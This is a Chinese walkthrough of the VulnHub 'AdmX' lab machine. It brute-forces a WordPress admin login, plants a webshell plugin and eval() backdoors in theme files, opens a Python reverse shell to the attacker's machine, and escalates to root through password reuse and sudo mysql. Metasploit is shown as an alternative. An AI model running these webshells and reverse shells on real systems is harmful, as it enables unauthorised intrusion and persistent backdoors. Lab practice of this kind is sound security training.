1、靶机信息
靶机名称:AdmX
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得 2 个 flag + root 权限
靶机地址:https://download.vulnhub.com/admx/AdmX_new.7z
kali服务器IP | 192.168.2.172 |
靶机IP | 192.168.2.171 |
2、主机发现
2.1 使用nmap进行主机发现,192.168.2.171就是我们的目标主机
nmap -sn 192.168.2.0/24
2.2 端口信息收集,目标靶机只开放了80端口
nmap -p- 192.168.2.171
2.3 对80端口进行服务版本扫描,可以看到是开放了Web服务
nmap -sV -p 80 192.168.2.171
3、Web信息收集
3.1 对Web页面进行查看,可以看到是一个apache的默认页面
3.2 按照常规步骤,进行路径发现,在爆破出来的路径中,可以看到有非常多的路径都是在wordpress这个目录下发现的,我们先对这个目录进行一个查看
feroxbuster --url http://192.168.2.171 -w /usr/share/dirb/wordlists/common.txt
3.3 访问http://192.168.2.171/wordpress
,发现页面显示不正常
3.4 打开F12查看请求,发现请求失败的URL都指向了一个192.168.159.145
的站点
3.5 为了让页面正常展示,我们使用burp的匹配和替换
功能(Match And Replace),并将截断功能放开,重新访问http://192.168.2.171/wordpress
页面即可
3.6 当我们在此页面进行各种尝试后,发现无可利用漏洞,重新看feroxbuster爆破出来的路径,发现一个后台登陆的站点http://192.168.2.171/wordpress/wp-admin/admin.php
3.7 通过尝试,发现对于系统不存在的用户名,会报错展示,基于此缺陷,我们发现站点存在admin账户
3.8 使用burp进行口令爆破,密码为adam14
3.9 使用admin/adam14成功登陆
4、上传webshell
4.1 在WordPress中常用的三种方式上传webshell,一种是通过Media-Add NEW接口,直接上传php的webshell即可,新版本中已经无法再使用这个方法上传。
4.2 第二种方法是通过appearance-Theme Editor,对php页面源码进行编辑,将一句话木马插入到主题中,在这里我们使用404主题文件进行插入,如果上传成功,可以直接访问404.php,拿到shell,结果是我们在点击 update file后,系统提示我们更改失败。
eval($_POST['ant']);
4.3 第三种方法是使用plugins功能,安装一个我们编写的webshell 插件。在这里我新建了一个webshell.php的文件,并且压缩成zip格式,上传至WordPress的plugins处进行安装,并点击activa plugin进行激活插件。
<?php /** * Plugin Name: superwebshll * Plugin URI: https://webshell.com/ * Description: This is webshell,thank u * Version: 1.0 * Author: Automattic * Author URI: https://automattic.com/wordpress-plugins/ * License: GPLv2 or later * Text Domain: akismet */ if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
4.4 上传成功后,可以在plugins处看到
4.5 使用WordPress默认路径访问webshell,在这里我们可以看到命令被成功执行
http://192.168.2.171/wordpress/wp-content/plugins/webshell.php?cmd=id
5、反弹shell
5.1 首先在kali端监听端口
nc -nvlp 9999
5.2 查看目标服务器上是否存在python,发现是存在python3
webshell.php?cmd=which%20python3
5.3 使用python3进行反弹shell,反弹成功
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.172",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
6、交互式shell升级
6.1 通过反弹shell获得的shell功能有限,需要升级为Full TTY shell,kali默认shell为zsh,需要把zsh切换为Bash,查看目前shell类型为zsh
echo $SHELL
6.2 切换zsh为Bash
chsh -s /bin/bash
6.3 重新获取shell,重复第五部分,拿到shell后,输入ctrl+z 将获取到的shell放到后台
6.4 依次输入以下命令,获取交互式shell
stty raw -echo fg export SHELL=/bin/bash export TERM=screen stty rows 38 columns 116 reset
7、蚁剑上线
7.1 在appearance的index.php中插入一句话木马
路径为:vim /var/www/html/wordpress/wp-content/themes/twentytwentyone/index.php
eval($_POST['ant']);
7.2 在蚁剑中添加URL地址:http://192.168.2.171/wordpress/wp-content/themes/twentytwentyone/index.php
,连接密码为ant,成功连接
8、提权
8.1 进入/home 目录下,发现还存在一个wpadmin
的用户
8.2 在其用户目录下,存放一个local.txt的文档,并且只有wpadmin用户本身才具备读权限
8.3 搜集其他信息,目标是提权至wpadmin用户,查找WordPress的config文件,通过配置文件可以查看连接数据库的账密
DB_NAME:wordpress
DB_USER:admin
DB_PASSWORD:Wp_Admin#123
8.4 使用密码Wp_Admin#123尝试登陆至wpadmin用户,发现失败
su wpadmin
8.5 使用密码Wp_Admin#123尝试登陆mysql数据库,发现也失败了
mysql -u admin -p Wp_Admin#123 -D wordpress
8.6 尝试使用之前burp爆破出的WordPress后台密码进行登录,发现密码正确
8.7 读取前面的local.txt文件,拿到第一个flag
文件内容为:153495edec1b606c24947b1335998bd9
8.8 使用sudo -l 命令发现不需要密码既可以进入mysql数据库
8.9 使用adam14进入mysql数据库
sudo /usr/bin/mysql -u root -D wordpress -p
8.10 获取第二个flag
附:其他技巧-MSF获取shell
1. 除了上述的使用plugins功能获取shell,在这里再介绍另一种方式,使用MSF获取WordPress的shell方法。首先使用MSF搜索关键字wordpress admin
2. 在这里我们使用第二个模块,查看其参数
msf6 > use 2
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
3. 设置MSF必要参数
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD adam14 PASSWORD => adam14 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin USERNAME => admin msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.2.171 RHOSTS => 192.168.2.171 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RPORT 80 RPORT => 80 msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress TARGETURI => /wordpress msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
4. 输入shell命令,就可以执行相关操作,但发现使用MSF获取到的shell很多命令不能够正常执行,所以还是建议使用上述的通过plugins功能获取shell。